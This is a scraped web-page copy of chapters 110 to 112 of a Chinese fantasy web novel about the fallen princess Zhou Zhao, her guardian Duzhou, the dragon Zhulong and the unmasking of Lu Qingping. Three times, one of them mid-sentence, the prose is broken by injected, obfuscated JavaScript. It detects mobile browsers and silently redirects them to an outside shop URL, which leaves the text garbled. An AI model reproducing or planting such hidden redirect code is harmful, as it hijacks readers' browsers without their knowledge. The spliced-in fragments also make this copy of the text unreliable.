;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167511|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瘫软在地上动也不动。 “哦,对了。”折杞看向顾绍那半张脸,笑说,“这个故事也跟你有关,想听听吗?” 顾绍虽然讨厌渡舟,但渡舟的脾性其实很对他的胃口,反倒是眼前这个模样柔和脸上带笑的少年,像一条滑腻腻的毒蛇,让他看了心里不大舒服。 “蛇妖交去县衙,衙门会赏你些银子。”顾绍暗骂门外的禁军都是些蠢货,什么人都往里面放。 梁王终于捡到自己的人头安回来,一边转动僵硬的脖子,一边骂骂咧咧道:“喂!咱们说好的,你——” “聒噪。”折杞微微蹙眉,谁都没看清他身后左侧的女子是什么时候出手的,只看见梁王那刚安好的头颅被一双手直接从脖子上扭断摘下来,那只手重重一敲,人头咔嚓被劈成两半。 这下梁文潜再没有机会说话了,他瞪大眼睛,显然“死不瞑目”。 顾绍神情骤变,喝道:“你到底是何人?!” 折杞并不理会他,那两名少女身形快速地在人群中穿梭自如,就像刚才对待梁王的脖子一样,将这些禁军的脖子喀嚓扭断。 在这片人头落地的响声中,折杞穿过尸体,神态自若地来到那只关着渡舟的铁笼旁边,微笑道:“师父,我来救你们。” 渡舟阴沉着脸,折杞看到被丢在地上的骨箫,眼中露出发光的神采,赞道:“骨箫昆仲。”他欲伸手去拿,又看了眼渡舟:“师父,你放心,昭姐姐的毒我会帮她解的。” 渡舟脸色发白,开门见山道:“你想要我的内丹?” 折杞但笑不语,负手走到那处小亭,他突然觉得后颈凉飕飕的,一回头,果然是渡舟那让人不寒而栗的目光。 要不是亲眼确认钦原骨刺的确打在渡舟身上,折杞险些要以为这人是装的。 他定定神,忽视周昭的目光,从她腰间抽出那把随身携带的匕首。 顾绍被折杞带来的两名女子纠缠,甚至还得分心照顾那位在他看来一无是处的总督,虽然看见了折杞意图不轨,却无法抽身,高声骂道:“操!有没有会抓妖的!” 折杞并没有打算对周昭怎么样,他站起身,一步步走得很稳,脸上始终挂着温柔的笑意。 “反正师父也要死了,给我,不好吗?” “很好。” 折杞忽然想到第一次见这个人。 那是在周王朝覆灭后的一个月,他作为孤魂野鬼在盛都城里游荡,既不甘心又满腔愤怒,一心想怎么杀了梁王。 那时候的盛都遍地尸骨,哪怕是鬼也自相残杀。 就在这时候,渡舟出现了。 折杞从没见过这个人,渡舟却好像对他很熟悉。 那时候的渡舟应该还没有现在这么强,样子也比现在年轻些,但他周身笼罩着的寒意却一样迫人,就像刚从地狱里走过一遭。他一来,那些原本欺负折杞的小鬼都无影无踪。 对方站在台阶上,居高临下地问他:“你有没有见过明鸢殿下?” 折杞摇摇头。 渡舟转身离开,压根没打算管他。 是折杞恳求他带自己离开盛都,他记得说了许多话,说盛都城怎么被攻占,说桦城一役如何惨烈。当然,更多的是说周昭。 也许是他说起周昭时声泪俱下的模样打动了渡舟,对方停下脚步,说如果没地方去,以后可以去无相城找他。 “……您叫什么名字?” 对方侧过脸想了想,吐出两个字:“渡舟。” 后来折杞再遇到渡舟,已经是三百年之后的事情,那时候渡舟已经是无相城的主人。 没人知道这三百年渡舟经历了什么,跟那时在盛都相比,他鬓边多了两缕白发,腰间多了只青白骨箫,而笼罩在他身上的沉郁肃杀之气却未曾改变。 折杞想起往事,脸上有一瞬间的恍惚。 他微微眯起眼睛,第一次敢肆无忌惮地打量这个人,少顷,重新握紧匕首,道:“师父,如果我是你,绝不会为一个女子……”他又看看周昭,微笑道:“不过,如果是我们的陛下,也不足为奇。” “现在,把你的内丹交出来吧。” 眼看锋利的匕首就要刺入渡舟小腹,折杞突然有种握不住刀的错觉,并非后悔,而是对即将达成目的的近乡情怯。 突然,折杞听到一声低低的笑—— “如果我是你,就再等等。” 持刀的手腕被突然抓住,折杞猛地抬起头,渡舟却没给他反应的时间,略一用力,便将那只腕子喀嚓掰断,数片白色的花瓣一瞬间从渡舟身后射出,以极快的速度穿透了折杞的身体,然后将他手脚钉死在铁笼栏杆上。 “怎么......”折杞直到此刻都没有从惊骇里反应过来,他面容扭曲惨白,难以置信,忍不住尖声叫道,“你不是快死了吗!” 他的语调不复往日一贯的温和,带着气急败坏的尖利和恐惧,渡舟却没兴趣听他继续说下去,冲开镣铐,像一道闪电般窜出去,直奔小亭。 他拦腰抱起周昭,经过陆轻苹身边时那道身影似乎略作停顿,二人说了句什么,渡舟便再无留恋地快步离开。 昆仲从地上飞起跟上,顾绍只来得及看见雨雾中一缕白发在玄色袍角飘动。怀里的女子蜷缩着,及腰的长发垂下来与男人的白发缠绕,别的什么也看不见。 110. 第 110 章 弯月终于只剩下一道浅浅的钩子,隐没在墨蓝色的天空里,淡得几乎看不见。 雨势越来越大,翻江倒海般从山岭倒灌而来,带着呼啸的北风,将庭前血迹冲刷的七零八落。 而这一切都被厚重的地面隔绝在外。 墓穴中影影绰绰,由于太过安静,所以女子压制不住的喘息声便无处藏匿。 周昭心跳得很快,她模糊中记得渡舟被戴上沉甸甸的镣铐,也记得有个人从她腰间取走了匕首,没过多久,也可能过了很久,有人将她从冰冷坚硬的地面上抱起来,有凉风舒服地吹在脸上,喊杀声不断,但仅仅是一瞬间,接着什么声音都没有了。 周昭难耐地弓起身子,手指有些痉挛地攥紧能抓到的东西,像一截袖口,布料上密密匝匝的金线刺绣纹路很硌手。 她过了阵子才反应过来那近在耳畔的呼吸声是自己的,那么粗重,那么哑,那么……喘。 周昭是绝不可能忍受这种屈辱的,更不必说还是在人前——她还当是在禁军阵前——于是紧紧咬住下唇,将舌根呼之欲出的呻吟连同她的自尊一并咬住。 但有人显然不愿意这样。 一只手试图掰开她紧闭的口,周昭敢肯定自己用了很大的力气反抗,对方只好捏住她的下巴迫使她微微抬头,他的手凉浸浸的,贴在脸上舒服极了,周昭竟然有种要紧贴着那只手的冲动。 她低声地喘,下意识地抓住那人的手放在脸上,但这还不够,远远不够。 那人似乎说了句什么,周昭半个字都没听进去,但毫无疑问那是个男人的声音。 周昭猛地想起顾绍在阵前说的话,想起无数双落在自己身上如狼似虎的目光,脸上露出少见的惊惧,连连后退。 “殿下没事了,没事了,别怕……”那人低声哄道。 这次她听清了,周昭很努力才让眼神勉强聚焦在一个点上,她看到渡舟,满头白发的渡舟。 体内好像有无数只蚂蚁在爬,用细小的牙齿在每一寸肌肤上啃噬,又像是被穿在架子上烤,让她无比渴望有人能熄灭这团火。就是在这个时候她看到了渡舟,他的手是那么舒服,他的眉眼是那么俊美...... 不,不能再看! 周昭说不出话,使出全力推了渡舟一把,却不知道自己如今的模样实在很像欲拒还迎。 渡舟沉着脸为周昭疗伤,每看到一处自残的伤口,他的眼神便沉郁一分。 尽管渡舟已经极力避免碰到她,但总有会碰到肌肤的时候,每每这时,对周昭无疑是一种煎熬。 等伤口包扎好,渡舟匆匆站起身,应该是要走。 周昭明明该庆幸,但身体却比脑子先一步作出反应,她向前伸出手,软绵绵地在空气里抓了一把。 带着凉意的发丝从指缝间穿过,她应该是想问问渡舟这满头白发是怎么回事儿,于是在抓了个空的情况下整个人又往前扑了扑。 渡舟眼疾手快回身一把捞住那副轻飘飘的身子,周昭终于将一截衣带牢牢攥在手里。 渡舟那双颜色极浅的眼睛跟平时很不一样,就像周昭身上的热浪也传染给了他,让他一贯淡漠似水的眼睛燃起两簇危险的火苗。 “殿下,别乱动。”渡舟语气中警告的意味很明显,他似乎是怕周昭再掉下椅子,将她抱起后有点犹豫,最终还是又将她放进宽敞的椅子里。 墓穴没有点灯,只有少许幽煌虫发出淡淡的光芒。 周昭手里还攥着发丝,这就使得渡舟起身时不得不继续低着头,以一个及其别扭的姿势抽出环抱着周昭的手臂。 加上周昭并非一动不动地坐着,黑暗中渡舟的手不小心碰到了周昭后颈一寸肌肤,触感像雨后湿滑的青苔。 霎时—— 怀里的人小幅度地战栗了一下,喉间溢出一声浅浅的呻吟。 两个人的身体俱是一僵。 周昭知道自己现在一定很狼狈,她忍得辛苦,抬起湿漉漉的眼眸,不知是想推渡舟一把还是想把他往回拉。 她的手指纠缠着垂在身侧的白发,目光探究,下巴颌微微颤动着。渡舟虽然看懂了她的意思,却没解释,半抱着握住她的手想把发丝抽出来。 周昭突然想起镜妖幻境那片冰冷的湖水,抬起头,险些脱口而出道:“十六,你亲过人没有?” 周昭无比庆幸顾绍给她喂了哑药。 不知是不是她想着这句话时眼神有异,渡舟目光沉沉,眼中那簇火苗越烧越烈,他攥紧拳头又松开,抬起一只手,拇指在周昭唇瓣上轻轻碰了碰。 ——只轻描淡写的一下,周昭脑海里突然炸开了漫天的烟花。 渡舟毫不迟疑地松开她起身,几乎是落荒而逃。 “……”周昭后知后觉地感到窘迫,若手边有刀,她会直接往身上捅两下来缓解情潮。就算是死,她也不愿沦为欲望的奴隶,更不愿被渡舟看到。 但周昭这么想着,忽然间镇静下来。 这情毒虽然来势汹汹,说穿了不过男欢女爱四字,人人都有欲望,情欲也好,杀欲也罢,追本溯源是一样的东西。 若把一个人的欲望比作容器,别的欲望多了,情欲自然就被压制。 周昭想清楚了这一点,她背靠石壁打坐,闭上眼睛开始强迫自己一遍遍回想: 从周衡到江梅棠,然后是周驰、周澈、皇后、宣庆帝、兰令仪、霍璋、闫斯年、燕飞、赵六子…… 从槐鬼出现到永定门之乱,然后是八王伐周,汴江二十万大军,盛都城沦陷…… “陛下!此诏、此诏万万不可啊!” “姑母!稷儿不想死……稷儿怕……” “——啊啊啊姑母疯了!救命!姑母别杀我!” 周昭每想一段往事,那些熟悉的面孔就浮现出来,那些因槐鬼而死去的人,那些被她亲手杀掉的同族,那些在汴江沉尸不见天日的人…… 但周昭偏偏想不起来自己是怎么死的。 她只记得永定门前厮杀声,马蹄声,哭声…… 那时虽然败局已定,周昭却没有放下剑,她麻木地杀了一个又一个敌人,后来副将为她杀出一条血路,周昭记得自己是要走的,只要退回城中也许还有一线生机。 但后来她到底为什么没有走呢…… 周昭的记忆总是到这里就断了。 她想不起来。 永定门前那一场厮杀,就是她生前最后的记忆。有人说是因为经历了太痛苦的事情,所以人会选择性地忘掉一些事情,周昭并不觉得还有什么能让她更痛苦。 可事实就是,她的确想不起来。 眼下在这无比寂静的墓穴中,热潮让她痛苦难忍,思绪竟然前所未有的清明。 周昭一遍遍回想,用这些死去亡魂的鲜血冲淡妖毒,情欲在凌迟之痛面前终究不值一提。 痛,实在是太痛了。 汴江水冷似坚冰,伏灵院终日鲜血成河。 她开始剧烈地耳鸣,好像有一把刀直插入脑子里,将血和肉搅得天翻地覆。奇怪的是,周昭发现自己不知道什么时候漂浮在半空中,她静静地看着那个眉头紧锁的人,目光微偏,继而看见自己手中的刀。 血线顺着刀锋慢慢向下滑,映出一张年幼惊恐的脸:“姑母!” 周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172767|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昭猛地睁眼,吐出一口黑血。 “殿下!” 她冷汗涔涔,刚抬起头,便被渡舟一把抱住。渡舟的小臂崩得很紧,能感觉到衣服下的肌肉都在抽搐,周昭身子一僵,渡舟退开几步距离:“殿下,是我冒犯了。” 他手里多了一盏散发着腥味的液体:“这毒只有杀了那条蛇妖取胆才能解,不过我想,殿下应该不想让他这么快死掉。” 渡舟将那碗东西往前递了递:“我配的药,试试?” 渡舟见她神情犹豫,什么话也没说,自己先喝了一口,又递给她。 周昭果然肯喝了,她端起药一饮而尽,渡舟接过空碗:“这药有安神的作用,殿下若是倦了......”他指了指角落,那里竟然放着一张简易的床。 “可以歇一歇。放心,这里很安全。”渡舟站起来,“还有些事情需要我去料理,等你睡一觉,我再来接你上去。” 墓穴里是感觉不到时间的流逝的,没有日落月升,这里特殊的烛火也不会燃尽。 周昭只记得渡舟走后没多久,她就陷入了昏昏沉沉的状态,那盏汤药果然有用,醒来之后周昭浑身汗湿,但那阵热潮却完全消失了。 不光如此,也能开口说话了。 但那药里的腥味儿却好像停留在唇齿间久久不散,周昭舔了舔嘴唇,这是……血? 周昭的脸色瞬间很难看,扶着墙干呕起来,结果什么都没吐出来不说,还把自己弄得头晕脑胀。 她略坐了会儿,站起来在这处地方走了一圈,发现这处墓穴跟之前见过的都不同。有床,有桌椅,甚至连纸笔都有。 与其说墓穴,更像是一个住在地下的人的居所。 桌上放着几篮新鲜水果和精致点心,周昭不记得是来时就有,还是新添的。 她起身转了一圈,又觉得这里作为居所实在是太简陋了,她不知道无支山有多大,不敢乱跑,只好又回来坐下,心中却忍不住想渡舟突然间变白的头发,和那穿透腕骨的钦原骨刺。 其实按照周昭原本设想,除去她身中妖毒事发突然,事情本来就该是今日的结局。 抓完蛇妖陆轻苹匆匆离开,那时候周昭就算准了皇帝要出手,在张家遇到顾绍也并不意外,小皇帝知道她与顾绍渊源颇深,特意派这么个她不敢伤的人来抓自己。 周昭起初没想通为什么皇帝要抓她威胁渡舟,在听到顾绍那个理由时也勉强接受,不管是“包藏前朝余孽”还是“意图谋反”,反正只要是给牵机营扣上一顶帽子,就能让抓捕名正言顺。 一直到陆轻苹拿出钦原骨刺,事情都很顺利地朝着周昭预想的方向发展。渡舟“受伤”,引出幕后黑手,小皇帝美梦一场空。 但周昭不知道到底出现了什么偏差,渡舟看上去好像真的会被几个铁钉所伤。 她刚这么想又很快否认了这个念头,不可能,绝不可能。 这一切只是一场戏,一场互相利用的大戏。 小皇帝利用她搜集罪证,抹黑牵机营。她利用小皇帝跟梁王做戏,挖出幕后黑手。梁王则浑水摸鱼什么都想要。 至于渡舟,周昭想他不过是顺水推舟,搭台唱戏。 没道理渡舟会受伤。 周昭站起又坐下,觉得烦躁。 理智告诉她这并非坏事,而是意外之喜。她本就怀疑渡舟跟当年周朝亡国有关,如今一石二鸟,该高兴才对。 但理智之外呢? 每当她想起渡舟霎那间白头,心中竟难以克制地冒出些别的情绪。 洞口传来一个陌生声音—— “你就是周朝那位小公主?” 111. 第 111 章 一个十一二岁的少年站在洞口,他双手叉腰,歪着脑袋望向周昭,又问了一遍:“你是周朝的小公主吗?” 周昭显然没料到这里会有人,愣了愣神,反问道:“你认得我?” 少年头顶两个小小的犄角大摇大摆走进来,眼型细长,像两片柳叶斜入鬓角,墨绿色的瞳孔亮得惊人,皮肤则是和渡舟如出一辙的苍白。 不过,少年身上并没有渡舟的沉郁。 那双眼睛不安分地动来动去,好奇地打量着周昭,周昭才注意到他穿一身赤红色交领衣裳,剪裁并不是宣朝的样式,下摆宽大,在袖口收拢成半圆形。 “不认识,是我猜的。”少年自顾自地拉开一把椅子坐下,捡了颗圆滚滚的葡萄丢进嘴里。 “猜的?” 少年点头道:“是啊,渡舟那小子找你一千多年啦,能被他带入无支山的女人,还能有谁?” 渡舟......那小子?找我一千年? 少年观她神情,扬着下巴道:“怎么,你不认识我?”他虽然语气假装高傲,但还是小孩子神态,就连头上那对犄角都毫无威慑可言。 她道:“我们见过?” “当然,上回你来无支山,不是见过我了吗?” 上回?周昭恍然大悟,又难以置信道:“你、不会就是烛龙吧?” 少年道:“正是本尊。” 周昭本以为烛龙的人形会是个白发苍苍的老翁,再不济也该是个成年人,竟然是眼前这还没自己高的小小少年。 少年啧了一声,道:“本尊活了三千多年,比渡舟还大一轮,你这女娃忒不知好歹。” “渡舟年纪很小吗?” 烛龙想了想,道:“如果按你们人的算法,那他已经老得不能再老啦!不过,要是按我们妖,那小子还很年轻,两千岁都不到。” 周昭暗暗咂舌,忽然想到当年在苍界山第一次遇到渡舟,那时候他还没有眼前的少年大,竟然就已经几百上千岁了吗? 像是猜出她心中所想,少年凑上前来,神神秘秘道:“他从前是怎么骗你的?能不能给我讲讲?” 周昭一时没话说。 烛龙显然误会了她的沉默,老成道:“这有什么好害羞的,那时候渡舟三天两头往无支山外跑,有一回我偷偷跟在他身后,正好瞧见你们坐在那园子里,不过......” 少年盯着她道:“你跟从前很不一样呢,是因为你们周朝人都死了吗?” 周昭更加没话说。 烛龙双手抱胸靠着椅背,不以为然道:“这外头每天都有人死,没什么大不了啦。” 周昭听他语气,虽然知道妖跟人观念不同,但心中仍有些隐隐不舒服。烛龙却压根没看出来周昭神色不对,想来他常年生活在无支山中,并不曾见过人的悲欢喜乐,所以无法共情。 “渡舟……在这里住了很久吗?”周昭问。 “唔……很久。” “你们不喜欢人间?” 烛龙露出惊讶的表情,转过脸来,道:“他没告诉你?”周昭不解道:“告诉我什么?” “你什么都不知道?” “我应该知道什么吗?” 烛龙腾地站起来,叫道:“你不是渡舟的女人吗?” 烛龙没跟几个人打过交道,浑然不知自己这句话实在有些粗鲁,周昭微微挑眉,惊讶不比他少。 烛龙穷追不舍,连声问道:“难道不是?那你们刚才抱在一起?我看见地面上的男人女人要是像你们那样,接着就会脱掉衣服,你们没脱衣服,难道你不喜欢渡舟吗?可是......” “停!”周昭就算再心淡如水,也被这几句“童言无忌”闹了个心力交瘁,头痛欲裂,捡要紧的问道:“你……不会刚才一直都在吧?” “在啊。”烛龙点头道,“无支山每个洞穴我都能很熟。”周昭这下再也无法假装淡定,又听烛龙小声道:“你不要告诉渡舟哦,他不让我来他的房间。” 实际上是,烛龙只看见了渡舟抱着周昭进来。但他生性好玩,故意在周昭面前胡言乱语。 “这是渡舟的房间?”周昭虽然隐隐猜到,但并不确定。 “是喽。”烛龙搔了搔眉毛。“看来渡舟真的没跟你讲,可是渡舟不是很喜欢你吗?难道因为很喜欢,所以不对你讲?”烛龙摇摇头,狐疑道,“人真复杂。” “等会儿,”跟这少年讲话简直不能大喘气,周昭问道,“你又说什么?渡舟他喜欢谁?我?” “不然呢?”烛龙双手一摊,“你们抱在一起......” “好了打住。”周昭实在不想跟这么点儿大的小孩子谈论感情,尽管烛龙说他三千多岁,在周昭看来他作为人,的确只有外表这么大年纪,“还是接着刚才说,你们为何要住在无支山?” “让我想想从何说起……”烛龙又摆出一副与年纪不符的老成模样,他似乎就要说了,又道,“不对,渡舟不同你讲,说明他认为你不需要知道,我跟你又不熟,干嘛告诉你?万一渡舟知道了......”烛龙突然捂住嘴巴,眼珠子滴溜转。 周昭故意激他:“万一渡舟知道了,要凶你,对不对?” 烛龙梗着脖子道:“谁说的!本尊可比他年纪大!” 周昭看热闹不嫌事大,淡淡地瞟他一眼,“那怕什么?”烛龙鼓着腮帮子不吭声,犹豫片刻,道:“如果我告诉你,你会不喜欢渡舟吗?” 做戏要做全套。周昭摇头道:“......不会。” 烛龙闭上眼睛,片刻后再睁开,原本空无一物的墙壁上渐渐浮现出一副群山翠影图景。 “这就是三千年前,人间的无支山脉。” “无支山又叫龙首山,山南盛产青玉,山北盛产金银,泾水发源于此,向东流入渭水。数千年前人界妖兽横行,上古战场尸山血海随处可见,无支山离开人界自毁,但却不是自毁本体,而是来到了这与世隔绝的地下。” “后来神兽毕方将天下妖邪戾气封印于无相渊,又过了一千多年,人界出现了一位鬼王,名叫成业。” 周昭凝神屏息,烛龙继续道:“鬼王成业兴风作浪数百年,能驱魂索魄,最终东华将其镇压在无妄海底。鬼王虽然被镇压,但魂魄未死,无相渊有许多妖都不得不受他驱使,以他为尊。但鬼王有一个致命的弱点,那就是他死时被五马分尸,所以不得不每隔一百年都寻找新的身体,因此在无相渊中养了许多这样的肉身以备不时之需。” “鬼王的后代?” 烛龙哈哈笑道:“你可以这么理解。” 周昭试探道:“渡舟,就是其中的一个肉身吗?” “是的。”烛龙挥挥手,墙上的画面又开始变化,呈现出一副万鬼哀嚎群魔乱舞的地狱之境,“本尊游历人间,偶然去了趟无相渊,救下渡舟。哦对了,那时候他还不叫这个名字。” “他叫什么?” “没有名字。” “没名字?” “鬼王养的肉身很多,每个肉身都只有一个编号,渡舟我记得……他应该是十六。”烛龙陷入沉思,“本尊救下他,但也受伤不轻。我早些年一直生活在无支山上,于是想到了来无支山暂避。这是个绝妙的地方,鬼王绝不可能发现。但也有个缺点……” 他又改口道:“或许也不算缺点。” “什么?” “在无支山,人不会变老。”烛龙托着下巴,“换句话说,不会长大。地面的时间是流动的,地下却不会。一旦见到阳光,时间又会开始流动了,这是件很危险的事儿,对那时候的渡舟来说。” “……会被发现吗?”周昭问道。 “应该说,容易被发现。” 这样就说得通了。周昭盯着那面墙壁上的画面,忍不住想当年那个小小的渡舟,是怎么在这些妖魔鬼怪当中存活下来的。 “难怪,渡舟一直没变过样子……原来是无支山。” 烛龙又哈哈大笑,一挥袖,墙壁空空如也,他用少年的嗓音道:“想什么呢!渡舟没变样子是因为他早就死了!就算出去无支山,他也不会再变。” 仿佛兜头一盆凉水泼下来,周昭从这句话回过神,烛龙早溜得没影儿,想必是说漏了嘴不愿她再追问。 她看着那面墙壁,无相渊虽然瞧不见了,眼睛里却还残留着一团黑红交织的影子。 烛龙走后,周昭又在墓穴中待了很久,左等右等不见渡舟,百无聊赖地沿着洞口往外走。 这无支山洞穴四通八达,周昭索性在地宫里漫无目的地走走逛逛,每处墓穴都相差不大,周昭想着这是从前渡舟住过的地方,也就不觉得鬼气森森了。 走着走着,眼前突然出现一间比其他墓穴大出许多的石室,周昭抬脚进去,不由怔住—— 正中是一尊巨大的女子神像,通体以白玉雕刻,一袭素雅青衣,臂挽轻纱,颈戴璎珞。面如冷月,双眸微阖,周身彷佛笼着一层如梦似幻的薄雾,神情带着几分与生俱来的悲悯。 不难看出,雕刻这尊神像的人是如何虔诚地一笔一划,描摹出这天人之姿。 周昭呼吸微滞,正欲上前细观,石室却陡然间起了变化,一面石壁像长了脚似的移动到她面前,周围轰隆隆阵阵作响,周昭退让躲避间,眼睁睁看着那尊玉像离自己越来越远。 等一切恢复如常,周昭再想去寻那间石室,却怎么也找不到了,心道:“想必那玉像周围设着什么机关,不愿让外人窥见。”她双手合十拜了拜,照原路回去了。 不知是不是刚才误闯了那间石室触发了无支山的禁忌,周昭总觉得回去的路跟来时不同,但每走到一处,都有数不清的幽煌虫像是给她带路一般在前面闪着亮光。 约莫一炷香后,围在她身边的幽煌虫都聚拢在一块凸起的石壁上,周昭试探着碰了碰,眼前一阵眩晕,再睁眼竟然已经从墓穴中出来了。 亮堂堂的天光猛地跳进眼睛里,周昭忍不住去想渡舟在洞中住过的几百年光景,过了阵子才认出这是牵机营后院。 她下意识松了口气,沿着记忆里熟悉的小径往外走。 禁军已经都散了,庭前花瓣飘零,血气方歇。庭院里那一池莲花开得无精打采,不复往日颜色灼灼。小池前栽着棵上了些年纪的古旱莲,如果忽视掉树上缠绕着的一条巨蟒,想必画面会更和谐。 那多尾蛇被五花大绑在树干上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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上官转过脸,难以置信道:“你这是什么话?他不是就在你跟前受伤的吗?足足四根钦原骨刺!不都一个不落地刺进去了吗?” 他本来不欲多说,眼下却被周昭气得不轻,因此口不择言,恼怒道:“主君对你一片真心,你弃之如履也就罢了,偏要跟宫里那位搅合在一起,这不是拿刀往主君心上戳吗?主君命大没死成,但也去了半条命,你这会子又假惺惺问这话?莫说主君,连我也看得心寒!” 周昭神情木讷,像是听不懂上官在说什么,最终耳朵里落进那句“主君命大没死成,但也去了半条命”,她下意识道:“钦原骨刺不是你拿着吗?难道那不是假的?” 上官喋喋不休的嘴顿时停下,满脸诧异,周昭不由分说道:“渡舟在哪儿?” 上官还没从周昭上句话缓过神来,周昭又问:“他人在哪儿?” “......”上官舔了舔嘴唇,心虚道,“我不清楚。” 周昭观他神情不像是说假话,却不知道去哪儿寻渡舟,半晌无言,太阳穴突突直跳,也不知道是生谁的气,忍不住道:“我真不明白,跟小皇帝做做戏罢了,为何要用真的钦原骨刺,是渡舟让你这么干吗?陆大人。” “……”上官无声地张了张嘴巴,气焰消了大半,“你都知道了......” 上官就是陆轻苹,陆轻苹就是上官。 正因为周昭早就知道,所以才敢将所谓牵机营的罪证交给赵允城,才敢以身入局甘为棋子。 无论是梁王还是顾绍,赵允城显然知道了太多作为一个人间的帝王不该知道的东西。 而这背后,必然有一个对她和周朝那段往事无比熟悉的人。 周昭表面上跟赵允城合作,实际是想顺藤摸瓜,找出赵允城背后的那个人。 显然,那个人对渡舟无比忌惮,从在城中看见钦原鸟的时候,周昭就猜到了这东西是用来对付渡舟。此人无比谨慎,不到最后一刻想必不会现身,这也是为什么周昭中毒那晚不肯跟上官离开。 赵允城要拿她逼迫渡舟就范,周昭便顺势而为拿自己当诱饵钓大鱼。 而这一切的一切都有个至关重要的点—— 陆轻苹是渡舟的人,所以周昭才有恃无恐。 她坚信陆轻苹在配合渡舟演戏,那副锻造好的,能要树妖性命的钦原骨刺是不可能伤着渡舟的,因为陆轻苹有一万种机会掉包。 并非周昭相信渡舟与槐鬼无关,而是渡舟实力太强,周昭在没有把握的情况下不愿与他为敌。 再说当年真相如何尚未定论,她不是梁王说什么就信什么的傻子。世人都说周昭是个疯子,但疯也有个限度。 可周昭想不通,这其中到底出现了什么偏差。 “渡舟......还好吗?”未待上官回答,周昭又皱紧眉摇头,“想必不大好。我想见他,陆大人,他会在哪儿?” 上官答非所问,沉吟道:“原来你都知道,真搞不懂......” “真笨!” 这一声来得突兀,却见旱莲树上多尾蛇幻化了半边人形,竟然是渡舟的脸。 他笑嘻嘻道:“因为他喜欢你呀,喜欢得不得了,就连你要他死,他也舍不得弄虚作假伤你的心。” 周昭攥紧拳头,上官恨恨地举起扇子,这回不打脸,对准蛇尾巴砸过去:“闭嘴吧你!”却见周昭转身离开,不知往哪里去了。 112. 第 112 章 折杞虽然被渡舟所伤,却趁乱逃走,宫里也出乎意料的风平浪静。听说皇帝去江南过冬去了,走得匆匆忙忙,过了两日宫里才传出风声。 朝野上下无人敢议论九洲城那晚下了一夜的雨,对牵机营三个字,更是避之不及,较从前犹胜。但下了朝,市井之中却传出些隐隐绰绰的只言片语,说牵机营那位主子是个白发妖怪,杀人不眨眼,禁军三千人都命丧其手。 这些话传得越来越玄乎,甚至飘到了周昭耳朵里,她正在抚弄莲花的手一顿,转头问道:“陆大人,你不管管手底下的兵吗?” 陆轻苹——或者说上官——淡淡道:“有什么好管的?畏惧也是一种服从的本能。” 自从被周昭点破上官就是陆轻苹,陆轻苹索性不再用上官那张人皮,周昭每每看着他,很难把这位瞧着弱不禁风一身正气的陆大人,跟油嘴滑舌的上官富贵联系起来。 陆轻苹道:“你到底是怎么认出我的?” 这个问题陆轻苹问过很多次,周昭总也不说,现下她手指轻轻搅动着池水,道:“因为陆大人你,破绽太多了。” 陆轻苹轻轻挑眉,还很盲目自信。 周昭道:“第一,你跟上官从不同时出现;第二,无论是花妖案还是镜妖案,上官大人你出现的时机总是恰到好处;第三,陆大人还记得我拜托你办一件事儿吗?” 她抬起眼眸,陆轻苹反应过来,摇头道:“果然是那时候。” “那日岁恩宴,你给我的国史,跟赵允城给我的完全是两份。”周昭又低下头,陆轻苹给她的那份史书简直美好得不像话,周昭留了个心眼,夜宴那晚又问赵允城要了一份,果然大不相同,“再说那日晚宴,陆大人匆匆离席,想必是回来报信。” 陆轻苹点头赞道:“你很聪明。” 周昭不置可否,语气中隐隐带了点儿促狭,道:“不过,原先我只是怀疑你是渡舟的眼线。真正让我确定你跟上官是同一个人的,其实是抓多尾蛇那晚。陆大人扮作沈云起,那蛇妖却变换成上官的模样,陆大人没见过上官,何以惊得手中灯笼都掉了?” 陆轻苹面露尴尬,转过脸去,久不作声。 周昭又道:“就是不知道国师大人看见上官原来长着这样一副容貌,是会开心,还是会恼怒你骗她。” “她不如你聪明,送些金钗首饰便开心得了不得。”陆轻苹似乎想起旧事,脸上露出一点儿若有若无的笑意,也露出陆总督这张假面下的一点儿真心。 “哦?国师屡屡差人递话儿进来,上官大人怎地避而不见?” 陆轻苹挥挥手:“没什么好见的。” “陆大人是不知道该用哪张脸去见她吧?是用多尾蛇幻化的国师心上人的样子,还是用禁军首领陆总督的样子。” 陆轻苹虽然神情松动,却沉得住气,低笑一声,反问道:“我当你不通人情,是个冷冰冰的古人,原来也看得清人心。” 周昭何尝听不出他在为渡舟鸣不平,却没有反驳,问道:“这府里的傀儡人怎么隔段时间便换一批,渡舟这么闲吗?” 陆轻苹道:“是吗,我没注意。” 意料之中,什么都问不出来。 周昭也不追问,起身道:“陆大人,我想去看看那蛇妖,可否带路?” 陆轻苹领着周昭来到那处无比熟悉的地牢,虽然熟悉,但此处设有禁制,不是她能解的。 周昭突然想起什么,转身道:“大人,你还记得那时丹妙被关在这里,后来又逃出去的事儿吗?” “当然记得。” “大人就没想过,为什么丹妙能从这里逃走?” 陆轻苹看她一眼,周昭追问道:“还是大人已经有了思绪,不愿告诉我?” “也没什么不能说的,再说,你不是已经猜到了吗?” 